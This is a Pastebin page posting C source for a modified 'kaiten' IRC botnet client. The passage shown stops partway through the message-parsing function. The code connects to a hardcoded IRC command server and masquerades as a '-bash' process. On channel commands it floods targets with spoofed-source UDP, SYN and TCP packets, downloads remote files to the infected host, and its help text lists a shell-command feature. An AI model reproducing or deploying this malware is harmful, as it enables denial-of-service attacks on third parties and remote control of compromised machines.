ZmEu

kaiten modified - not by me!

Feb 28th, 2011
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // Nice kaiten mod :P not my code (xd)
  2. #include <stdarg.h>
  3. #include <errno.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/stat.h>
  9. #include <fcntl.h>
  10. #include <strings.h>
  11. #include <netinet/in.h>
  12. #include <unistd.h>
  13. #include <sys/time.h>
  14. #include <sys/socket.h>
  15. #include <signal.h>
  16. #include <arpa/inet.h>
  17. #include <netdb.h>
  18. #include <time.h>
  19. #include <sys/wait.h>
  20. #include <sys/ioctl.h>
  21.  
  22. #define STARTUP "~:#/..kmem"
  23. #undef IDENT
  24. #define FAKENAME "-bash"
  25. #define CHAN "#n"
  26. #define KEY "whore"
  27.  
  28. int numservers=1;
  29. char *servers[] = {
  30.         "irc.darkninja.org",
  31.         (void*)0
  32. };
  33.  
  34. int sock,changeservers=0;
  35. char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256];
  36. unsigned int *pids;
  37. unsigned long spoofs=0, spoofsm=0, numpids=0;
  38. int strwildmatch(const char* pattern, const char* string) {
  39.     switch(*pattern) {
  40.         case '\0': return *string;
  41.         case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1));
  42.         case '?': return !(*string && !strwildmatch(pattern+1, string+1));
  43.         default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1));
  44.     }
  45. }
  46. int Send(int sock, char *words, ...) {
  47.         static char textBuffer[1024];
  48.         va_list args;
  49.         va_start(args, words);
  50.         vsprintf(textBuffer, words, args);
  51.         va_end(args);
  52.         return write(sock,textBuffer,strlen(textBuffer));
  53. }
  54. int mfork(char *sender) {
  55.     unsigned int parent, *newpids, i;
  56.     if (disabled == 1) {
  57.         Send(sock,"NOTICE %s :Unable to comply.\n",sender);
  58.         return 1;
  59.     }
  60.     parent=fork();
  61.     if (parent <= 0) return parent;
  62.     numpids++;
  63.     newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  64.     for (i=0;i<numpids-1;i++) newpids[i]=pids[i];
  65.     newpids[numpids-1]=parent;
  66.     free(pids);
  67.     pids=newpids;
  68.     return parent;
  69. }
  70.  
  71. unsigned long getspoof() {
  72.     if (!spoofs) return rand();
  73.     if (spoofsm == 1) return ntohl(spoofs);
  74.     return ntohl(spoofs+(rand() % spoofsm)+1);
  75. }
  76. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  77. char *makestring() {
  78.     char *tmp;
  79.     int len=(rand()%5)+4,i;
  80.     FILE *file;
  81.     tmp=(char*)malloc(len+1);
  82.     memset(tmp,0,len+1);
  83.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  84.     else {
  85.         int a=((rand()*rand())%45402)+1;
  86.         char buf[1024];
  87.         for (i=0;i<a;i++) fgets(buf,1024,file);
  88.         memset(buf,0,1024);
  89.         fgets(buf,1024,file);
  90.         filter(buf);
  91.         memcpy(tmp,buf,len);
  92.         fclose(file);
  93.     }
  94.     return tmp;
  95. }
  96. void identd() {
  97.        int sockname,sockfd,sin_size,tmpsock,i;
  98.        struct sockaddr_in my_addr,their_addr;
  99.        char szBuffer[1024];
  100.        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) return;
  101.        my_addr.sin_family = AF_INET;
  102.        my_addr.sin_port = htons(113);
  103.        my_addr.sin_addr.s_addr = INADDR_ANY;
  104.        memset(&(my_addr.sin_zero), 0, 8);
  105.        if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return;
  106.        if (listen(sockfd, 1) == -1) return;
  107.        if (fork() == 0) return;
  108.        sin_size = sizeof(struct sockaddr_in);
  109.        if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0);
  110.        for(;;) {
  111.                fd_set bla;
  112.                struct timeval timee;
  113.                FD_ZERO(&bla);
  114.                FD_SET(tmpsock,&bla);
  115.                timee.tv_sec=timee.tv_usec=60;
  116.                if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0);
  117.                if (FD_ISSET(tmpsock,&bla)) break;
  118.        }
  119.        i = recv(tmpsock,szBuffer,1024,0);
  120.        if (i <= 0 || i >= 20) exit(0);
  121.         szBuffer[i]=0;
  122.         if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0;
  123.         if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0;
  124.     Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident);
  125.         close(tmpsock);
  126.         close(sockfd);
  127.         exit(0);
  128. }
  129. long pow(long a, long b) {
  130.         if (b == 0) return 1;
  131.         if (b == 1) return a;
  132.         return a*pow(a,b-1);
  133. }
  134. u_short in_cksum(u_short *addr, int len) {
  135.         register int nleft = len;
  136.         register u_short *w = addr;
  137.         register int sum = 0;
  138.         u_short answer =0;
  139.         while (nleft > 1) {
  140.                 sum += *w++;
  141.                 nleft -= 2;
  142.         }
  143.         if (nleft == 1) {
  144.                 *(u_char *)(&answer) = *(u_char *)w;
  145.                 sum += answer;
  146.         }
  147.         sum = (sum >> 16) + (sum & 0xffff);
  148.         sum += (sum >> 16);
  149.         answer = ~sum;
  150.         return(answer);
  151. }
  152. void get(int sock, char *sender, int argc, char **argv) {
  153.         int sock2,i,d;
  154.         struct sockaddr_in server;
  155.         unsigned long ipaddr;
  156.         char buf[1024];
  157.         FILE *file;
  158.         unsigned char bufm[4096];
  159.         if (mfork(sender) != 0) return;
  160.         if (argc < 2) {
  161.                Send(sock,"NOTICE %s :GET <host> <save as>\n",sender);
  162.                 exit(0);
  163.         }
  164.         if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  165.                 Send(sock,"NOTICE %s :Unable to create socket.\n",sender);
  166.                 exit(0);
  167.         }
  168.         if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7);
  169.         else strcpy(buf,argv[1]);
  170.         for (i=0;i<strlen(buf) && buf[i] != '/';i++);
  171.        buf[i]=0;
  172.        server.sin_family = AF_INET;
  173.        server.sin_port = htons(80);
  174.        if ((ipaddr = inet_addr(buf)) == -1) {
  175.                struct hostent *hostm;
  176.                if ((hostm=gethostbyname(buf)) == NULL) {
  177.                        Send(sock,"NOTICE %s :Unable to resolve address.\n",sender);
  178.                        exit(0);
  179.                }
  180.                memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length);
  181.         }
  182.         else server.sin_addr.s_addr = ipaddr;
  183.         memset(&(server.sin_zero), 0, 8);
  184.         if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) {
  185.                Send(sock,"NOTICE %s :Unable to connect to http.\n",sender);
  186.                 exit(0);
  187.         }
  188.  
  189.         Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",buf+i+1,buf);
  190.         Send(sock,"NOTICE %s :Receiving file.\n",sender);
  191.         file=fopen(argv[2],"wb");
  192.         while(1) {
  193.                 int i;
  194.                 if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  195.                if (i < 4096) bufm[i]=0;
  196.                for (d=0;d<i;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
  197.                        for (d+=4;d<i;d++) fputc(bufm[d],file);
  198.                        goto done;
  199.                }
  200.        }
  201.        done:
  202.        Send(sock,"NOTICE %s :Saved as %s\n",sender,argv[2]);
  203.        while(1) {
  204.                int i,d;
  205.                if ((i=recv(sock2,bufm,4096,0)) <= 0) break;
  206.                if (i < 4096) bufm[i]=0;
  207.                for (d=0;d<i;d++) fputc(bufm[d],file);
  208.        }
  209.        fclose(file);
  210.        close(sock2);
  211.        exit(0);
  212. }
  213. void getspoofs(int sock, char *sender, int argc, char **argv) {
  214.        unsigned long a=spoofs,b=spoofs+(spoofsm-1);
  215.        if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]);
  216.        else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender,((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b)[3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]);
  217. }
  218. void version(int sock, char *sender, int argc, char **argv) {
  219.        Send(sock,"NOTICE %s :mIRC 6.21 Khaled Mardem-Gey \n",sender);
  220. }
  221. void whoisabot(int sock, char *sender, int argc, char **argv) {
  222.        Send(sock,"PRIVMSG #elite :imma bot.. Imma sexybot! \n",sender);
  223. }
  224. void nickc(int sock, char *sender, int argc, char **argv) {
  225.        if (argc != 1) {
  226.                Send(sock,"NOTICE %s :NICK <nick>\n",sender);
  227.                 return;
  228.         }
  229.         if (strlen(argv[1]) >= 10) {
  230.                 Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender);
  231.                 return;
  232.         }
  233.         Send(sock,"NICK %s\n",argv[1]);
  234. }
  235. void disable(int sock, char *sender, int argc, char **argv) {
  236.         if (argc != 1) {
  237.                 Send(sock,"NOTICE %s :9DISABLE <pass>\n",sender);
  238.                 Send(sock,"NOTICE %s :9Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  239.                 return;
  240.         }
  241.     if (disabled) {
  242.         Send(sock,"NOTICE %s :9Already disabled.\n",sender);
  243.         return;
  244.     }
  245.     if (strlen(argv[1]) > 254) {
  246.                 Send(sock,"NOTICE %s :9Password too long! > 254\n",sender);
  247.                 return;
  248.     }
  249.         disabled=1;
  250.     memset(dispass,0,256);
  251.     strcpy(dispass,argv[1]);
  252.     Send(sock,"NOTICE %s :Disable sucessful.\n");
  253. }
  254. void enable(int sock, char *sender, int argc, char **argv) {
  255.         if (argc != 1) {
  256.                 Send(sock,"NOTICE %s :ENABLE <pass>\n",sender);
  257.                 Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders");
  258.                 return;
  259.         }
  260.     if (!disabled) {
  261.         Send(sock,"NOTICE %s :Already enabled.\n",sender);
  262.         return;
  263.     }
  264.     if (strcasecmp(dispass,argv[1])) {
  265.         Send(sock,"NOTICE %s :Wrong password\n",sender);
  266.         return;
  267.     }
  268.         disabled=0;
  269.     Send(sock,"NOTICE %s :Password correct.\n",sender);
  270. }
  271. void spoof(int sock, char *sender, int argc, char **argv) {
  272.         char ip[256];
  273.         int i, num;
  274.         unsigned long uip;
  275.         if (argc != 1) {
  276.                 Send(sock,"NOTICE %s :Removed all spoofs\n",sender);
  277.                 spoofs=0;
  278.                 spoofsm=0;
  279.                 return;
  280.         }
  281.         if (strlen(argv[1]) > 16) {
  282.                 Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender);
  283.                 return;
  284.         }
  285.         strcpy(ip,argv[1]);
  286.         if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0;
  287.         for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++;
  288.        num=-(num-4);
  289.        for (i=0;i<num;i++) strcat(ip,".0");
  290.        uip=inet_network(ip);
  291.        if (num == 0) spoofsm=1;
  292.        else spoofsm=pow(256,num);
  293.        spoofs=uip;
  294. }
  295. struct iphdr {
  296.        unsigned int ihl:4, version:4;
  297.        unsigned char tos;
  298.        unsigned short tot_len;
  299.        unsigned short id;
  300.        unsigned short frag_off;
  301.        unsigned char ttl;
  302.        unsigned char protocol;
  303.        unsigned short check;
  304.        unsigned long saddr;
  305.        unsigned long daddr;
  306. };
  307. struct udphdr {
  308.        unsigned short source;
  309.        unsigned short dest;
  310.        unsigned short len;
  311.        unsigned short check;
  312. };
  313. struct tcphdr {
  314.        unsigned short source;
  315.        unsigned short dest;
  316.        unsigned long seq;
  317.        unsigned long ack_seq;
  318.        unsigned short res1:4, doff:4;
  319.     unsigned char fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, ece:1, cwr:1;
  320.        unsigned short window;
  321.        unsigned short check;
  322.        unsigned short urg_ptr;
  323. };
  324. struct send_tcp {
  325.     struct iphdr ip;
  326.     struct tcphdr tcp;
  327.     char buf[20];
  328. };
  329. struct pseudo_header {
  330.     unsigned int source_address;
  331.     unsigned int dest_address;
  332.     unsigned char placeholder;
  333.     unsigned char protocol;
  334.     unsigned short tcp_length;
  335.     struct tcphdr tcp;
  336.     char buf[20];
  337. };
  338. unsigned int host2ip(char *sender,char *hostname) {
  339.        static struct in_addr i;
  340.        struct hostent *h;
  341.        if((i.s_addr = inet_addr(hostname)) == -1) {
  342.                if((h = gethostbyname(hostname)) == NULL) {
  343.                        Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname);
  344.                        exit(0);
  345.                }
  346.                bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  347.         }
  348.         return i.s_addr;
  349. }
  350. void udp(int sock, char *sender, int argc, char **argv) {
  351.         unsigned int port,i=0;
  352.         unsigned long psize,target,secs;
  353.         struct sockaddr_in s_in;
  354.         struct iphdr *ip;
  355.     struct udphdr *udp;
  356.     char buf[1500],*str;
  357.         int get;
  358.         time_t start=time(NULL);
  359.         if (mfork(sender) != 0) return;
  360.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  361.        if (argc < 3) {
  362.                Send(sock,"NOTICE %s :UDP <target> <port> <secs>\n",sender);
  363.                 exit(1);
  364.         }
  365.         target = host2ip(sender,argv[1]);
  366.         port = atoi(argv[2]);
  367.         secs = atol(argv[3]);
  368.         ip=(void*)buf;
  369.     udp=(void*)(buf+sizeof(struct iphdr));
  370.         str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr));
  371.         memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr)));
  372.         Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]);
  373.         ip->ihl = 5;
  374.         ip->version = 4;
  375.         ip->tos = 0;
  376.         ip->tot_len = 1500;
  377.         ip->frag_off = 0;
  378.         ip->protocol = 17;
  379.         ip->ttl = 64;
  380.         ip->daddr = target;
  381.         udp->len = htons(psize);
  382.         s_in.sin_family  = AF_INET;
  383.         s_in.sin_addr.s_addr = target;
  384.         for (;;) {
  385.                 udp->source = rand();
  386.                 if (port) udp->dest = htons(port);
  387.                 else udp->dest = rand();
  388.                 udp->check = in_cksum((u_short *)buf,1500);
  389.                 ip->saddr = getspoof();
  390.                 ip->id = rand();
  391.                 ip->check = in_cksum((u_short *)buf,1500);
  392.                 s_in.sin_port = udp->dest;
  393.                 sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in));
  394.                 if (i >= 50) {
  395.                         if (time(NULL) >= start+secs) exit(0);
  396.                         i=0;
  397.                 }
  398.                 i++;
  399.         }
  400. }
  401. void pan(int sock, char *sender, int argc, char **argv) {
  402.         struct send_tcp send_tcp;
  403.         struct pseudo_header pseudo_header;
  404.         struct sockaddr_in sin;
  405.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  406.         unsigned int psize=20, source, dest, check;
  407.         unsigned long saddr, daddr,secs;
  408.         int get;
  409.         time_t start=time(NULL);
  410.         if (mfork(sender) != 0) return;
  411.         if (argc < 3) {
  412.                Send(sock,"NOTICE %s :PAN <target> <port> <secs>\n",sender);
  413.                 exit(1);
  414.         }
  415.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  416.        {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  417.        daddr=host2ip(sender,argv[1]);
  418.        secs=atol(argv[3]);
  419.        Send(sock,"NOTICE %s :Panning %s.\n",sender,argv[1]);
  420.        send_tcp.ip.ihl = 5;
  421.        send_tcp.ip.version = 4;
  422.        send_tcp.ip.tos = 16;
  423.        send_tcp.ip.frag_off = 64;
  424.        send_tcp.ip.ttl = 64;
  425.        send_tcp.ip.protocol = 6;
  426.        send_tcp.tcp.ack_seq = 0;
  427.        send_tcp.tcp.doff = 10;
  428.        send_tcp.tcp.res1 = 0;
  429.        send_tcp.tcp.cwr = 0;
  430.        send_tcp.tcp.ece = 0;
  431.        send_tcp.tcp.urg = 0;
  432.        send_tcp.tcp.ack = 0;
  433.        send_tcp.tcp.psh = 0;
  434.        send_tcp.tcp.rst = 0;
  435.        send_tcp.tcp.fin = 0;
  436.        send_tcp.tcp.syn = 1;
  437.        send_tcp.tcp.window = 30845;
  438.        send_tcp.tcp.urg_ptr = 0;
  439.        dest=htons(atoi(argv[2]));
  440.        while(1) {
  441.                source=rand();
  442.                if (atoi(argv[2]) == 0) dest=rand();
  443.                saddr=getspoof();
  444.                send_tcp.ip.tot_len = htons(40+psize);
  445.                send_tcp.ip.id = rand();
  446.                send_tcp.ip.saddr = saddr;
  447.                send_tcp.ip.daddr = daddr;
  448.                send_tcp.ip.check = 0;
  449.                send_tcp.tcp.source = source;
  450.                send_tcp.tcp.dest = dest;
  451.                send_tcp.tcp.seq = rand();
  452.                send_tcp.tcp.check = 0;
  453.                sin.sin_family = AF_INET;
  454.                sin.sin_port = dest;
  455.                sin.sin_addr.s_addr = send_tcp.ip.daddr;
  456.                send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  457.                check = rand();
  458.                send_tcp.buf[9]=((char*)&check)[0];
  459.                send_tcp.buf[10]=((char*)&check)[1];
  460.                send_tcp.buf[11]=((char*)&check)[2];
  461.                send_tcp.buf[12]=((char*)&check)[3];
  462.                pseudo_header.source_address = send_tcp.ip.saddr;
  463.                pseudo_header.dest_address = send_tcp.ip.daddr;
  464.                pseudo_header.placeholder = 0;
  465.                pseudo_header.protocol = IPPROTO_TCP;
  466.                pseudo_header.tcp_length = htons(20+psize);
  467.                bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  468.                bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  469.                send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  470.                sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  471.                if (a >= 50) {
  472.                         if (time(NULL) >= start+secs) exit(0);
  473.                         a=0;
  474.                 }
  475.                 a++;
  476.         }
  477.         close(get);
  478.         exit(0);
  479. }
  480. void tsunami(int sock, char *sender, int argc, char **argv) {
  481.         struct send_tcp send_tcp;
  482.         struct pseudo_header pseudo_header;
  483.         struct sockaddr_in sin;
  484.         unsigned int psize=1400, check,i;
  485.         unsigned long saddr, daddr,secs;
  486.         int get;
  487.         time_t start=time(NULL);
  488.         if (mfork(sender) != 0) return;
  489.         if (argc < 2) {
  490.                Send(sock,"NOTICE %s :TSUNAMI <target> <secs>\n",sender);
  491.                 exit(1);
  492.         }
  493.         secs=atol(argv[2]);
  494.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  495.        srand(time(NULL) ^ getpid());
  496.        memset(send_tcp.buf,rand(),psize);
  497.        daddr=host2ip(sender,argv[1]);
  498.        Send(sock,"NOTICE %s :Tsunami heading for %s.\n",sender,argv[1]);
  499.        while(1) {
  500.                saddr=getspoof();
  501.                send_tcp.ip.ihl = 5;
  502.                send_tcp.ip.version = 4;
  503.                send_tcp.ip.tos = 16;
  504.                send_tcp.ip.tot_len = htons(40+psize);
  505.                send_tcp.ip.id = rand();
  506.                send_tcp.ip.frag_off = 64;
  507.                send_tcp.ip.ttl = 64;
  508.                send_tcp.ip.protocol = 6;
  509.                send_tcp.ip.check = 0;
  510.                send_tcp.ip.saddr = saddr;
  511.                send_tcp.ip.daddr = daddr;
  512.                send_tcp.tcp.source = rand();
  513.                send_tcp.tcp.dest = rand();
  514.                send_tcp.tcp.seq = rand();
  515.                send_tcp.tcp.ack_seq = rand();
  516.                send_tcp.tcp.doff = 5;
  517.                send_tcp.tcp.res1 = 0;
  518.                send_tcp.tcp.cwr = 0;
  519.                send_tcp.tcp.ece = 0;
  520.                send_tcp.tcp.urg = 0;
  521.                send_tcp.tcp.ack = 1;
  522.                send_tcp.tcp.psh = 1;
  523.                send_tcp.tcp.rst = 0;
  524.                send_tcp.tcp.fin = 0;
  525.                send_tcp.tcp.syn = 0;
  526.                send_tcp.tcp.window = 30845;
  527.                send_tcp.tcp.check = 0;
  528.                send_tcp.tcp.urg_ptr = 0;
  529.                sin.sin_family = AF_INET;
  530.                sin.sin_port = send_tcp.tcp.dest;
  531.                sin.sin_addr.s_addr = send_tcp.ip.daddr;
  532.                send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  533.                check = in_cksum((unsigned short *)&send_tcp, 40);
  534.                pseudo_header.source_address = send_tcp.ip.saddr;
  535.                pseudo_header.dest_address = send_tcp.ip.daddr;
  536.                pseudo_header.placeholder = 0;
  537.                pseudo_header.protocol = IPPROTO_TCP;
  538.                pseudo_header.tcp_length = htons(20+psize);
  539.                bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  540.                bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  541.                send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  542.                sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  543.                if (i >= 50) {
  544.                         if (time(NULL) >= start+secs) break;
  545.                         i=0;
  546.                 }
  547.                 i++;
  548.         }
  549.         close(get);
  550.         exit(0);
  551. }
  552. void unknown(int sock, char *sender, int argc, char **argv) {
  553.     int flag=1,fd,i;
  554.     unsigned long secs;
  555.     char *buf=(char*)malloc(9216);
  556.     struct hostent *hp;
  557.     struct sockaddr_in in;
  558.         time_t start=time(NULL);
  559.         if (mfork(sender) != 0) return;
  560.         if (argc < 2) {
  561.                Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  562.                 exit(1);
  563.         }
  564.         secs=atol(argv[2]);
  565.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  566.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  567.     in.sin_family = AF_INET;
  568.         Send(sock,"NOTICE %s :Unknowing %s.\n",sender,argv[1]);
  569.     while(1) {
  570.         in.sin_port = rand();
  571.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  572.         else {
  573.             flag=1;
  574.             ioctl(fd,FIONBIO,&flag);
  575.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  576.             close(fd);
  577.         }
  578.                if (i >= 50) {
  579.                         if (time(NULL) >= start+secs) break;
  580.                         i=0;
  581.                 }
  582.                 i++;
  583.     }
  584.         close(fd);
  585.     exit(0);
  586. }
  587. void syn(int sock, char *sender, int argc, char **argv) {
  588.     int flag=1,fd,i;
  589.     unsigned long secs;
  590.     char *buf=(char*)malloc(9216);
  591.     struct hostent *hp;
  592.     struct sockaddr_in in;
  593.         time_t start=time(NULL);
  594.         if (mfork(sender) != 0) return;
  595.         if (argc < 2) {
  596.                Send(sock,"NOTICE %s :syn <target> <secs>\n",sender);
  597.                 exit(1);
  598.         }
  599.         secs=atol(argv[2]);
  600.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  601.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  602.     in.sin_family = AF_INET;
  603.         Send(sock,"PRIVMSG #elite :[ %s ] Initated Syn Flood on %s. [9216byte]buffer [1ms]delay \n",sender,argv[1]);
  604.     while(1) {
  605.         in.sin_port = rand();
  606.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  607.         else {
  608.             flag=1;
  609.             ioctl(fd,FIONBIO,&flag);
  610.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  611.             close(fd);
  612.         }
  613.                if (i >= 50) {
  614.                         if (time(NULL) >= start+secs) break;
  615.                         i=0;
  616.                 }
  617.                 i++;
  618.     }
  619.         close(fd);
  620.     exit(0);
  621. }
  622. void synx(int sock, char *sender, int argc, char **argv) {
  623.     int flag=1,fd,i;
  624.     unsigned long secs;
  625.     char *buf=(char*)malloc(100000);
  626.     struct hostent *hp;
  627.     struct sockaddr_in in;
  628.         time_t start=time(NULL);
  629.         if (mfork(sender) != 0) return;
  630.         if (argc < 2) {
  631.                Send(sock,"NOTICE %s :syn <target> <secs>\n",sender);
  632.                 exit(1);
  633.         }
  634.         secs=atol(argv[2]);
  635.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  636.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  637.     in.sin_family = AF_INET;
  638.         Send(sock,"PRIVMSG #elite :[ %s ] Initated (megablast) Syn Flood on %s. [100000byte]buffer [1ms]delay \n",sender,argv[1]);
  639.     while(1) {
  640.         in.sin_port = rand();
  641.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  642.         else {
  643.             flag=1;
  644.             ioctl(fd,FIONBIO,&flag);
  645.             sendto(fd,buf,100000,0,(struct sockaddr*)&in,sizeof(in));
  646.             close(fd);
  647.         }
  648.                if (i >= 50) {
  649.                         if (time(NULL) >= start+secs) break;
  650.                         i=0;
  651.                 }
  652.                 i++;
  653.     }
  654.         close(fd);
  655.     exit(0);
  656. }
  657. void move(int sock, char *sender, int argc, char **argv) {
  658.         if (argc < 1) {
  659.                Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  660.                 exit(1);
  661.         }
  662.     server=strdup(argv[1]);
  663.     changeservers=1;
  664.     close(sock);
  665. }
  666. void help(int sock, char *sender, int argc, char **argv) {
  667.         if (mfork(sender) != 0) return;
  668.         Send(sock,"NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls\n",sender); sleep(2);
  669.         Send(sock,"NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers\n",sender); sleep(2);
  670.         Send(sock,"NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder\n",sender); sleep(2);
  671.         Send(sock,"NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder\n",sender); sleep(2);
  672.  
  673.         Send(sock,"NOTICE %s :NICK <nick>                                      = Changes the nick of the client\n",sender); sleep(2);
  674.     Send(sock,"NOTICE %s :SERVER <server>                                  = Changes servers\n",sender); sleep(2);
  675.         Send(sock,"NOTICE %s :GETSPOOFS                                        = Gets the current spoofing\n",sender); sleep(2);
  676.         Send(sock,"NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet\n",sender); sleep(2);
  677.  
  678.         Send(sock,"NOTICE %s :DISABLE                                          = Disables all packeting from this client\n",sender); sleep(2);
  679.         Send(sock,"NOTICE %s :ENABLE                                           = Enables all packeting from this client\n",sender); sleep(2);
  680.  
  681.         Send(sock,"NOTICE %s :KILL                                             = Kills the client\n",sender); sleep(2);
  682.     Send(sock,"NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd\n",sender); sleep(2);
  683.         Send(sock,"NOTICE %s :VERSION                                          = Requests version of client\n",sender); sleep(2);
  684.         Send(sock,"NOTICE %s :KILLALL                                          = Kills all current packeting\n",sender); sleep(2);
  685.         Send(sock,"NOTICE %s :HELP                                             = Displays this\n",sender);
  686.  
  687.     Send(sock,"NOTICE %s :IRC <command>                                    = Sends this command to the server\n",sender); sleep(2);
  688.     Send(sock,"NOTICE %s :SH <command>                                     = Executes a command\n",sender); sleep(2);
  689.         exit(0);
  690. }
  691. void killall(int sock, char *sender, int argc, char **argv) {
  692.         unsigned long i;
  693.         for (i=0;i<numpids;i++) {
  694.                if (pids[i] != 0 && pids[i] != getpid()) {
  695.                        if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  696.                        kill(pids[i],9);
  697.                }
  698.        }
  699. }
  700. void killd(int sock, char *sender, int argc, char **argv) {
  701.     if (!disable) kill(0,9);
  702.     else Send(sock,"NOTICE %s :Unable to comply.\n");
  703. }
  704. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  705.     { "TSUNAMI", tsunami },
  706.        { "PAN", pan },
  707.        { "UDP", udp },
  708.         { "SYN", syn },
  709.         { "SYNx", synx },
  710.         { "WHOISABOT", whoisabot },
  711.     { "UNKNOWN", unknown },
  712.  
  713.        { "NICK", nickc },
  714.        { "SERVER", move },
  715.     { "GETSPOOFS", getspoofs },
  716.        { "SPOOFS", spoof },
  717.  
  718.     { "DISABLE", disable },
  719.        { "ENABLE", enable },
  720.  
  721.        { "KILL", killd },
  722.     { "GET", get },
  723.        { "VERSION", version },
  724.        { "KILLALL", killall },
  725.        { "HELP", help },
  726. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  727. void _PRIVMSG(int sock, char *sender, char *str) {
  728.        int i;
  729.        char *to, *message;
  730.        for (i=0;i<strlen(str) && str[i] != ' ';i++);
  731.        str[i]=0;
  732.        to=str;
  733.        message=str+i+2;
  734.        for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  735.        sender[i]=0;
  736.        if (*message == '!' && !strcasecmp(to,chan)) {
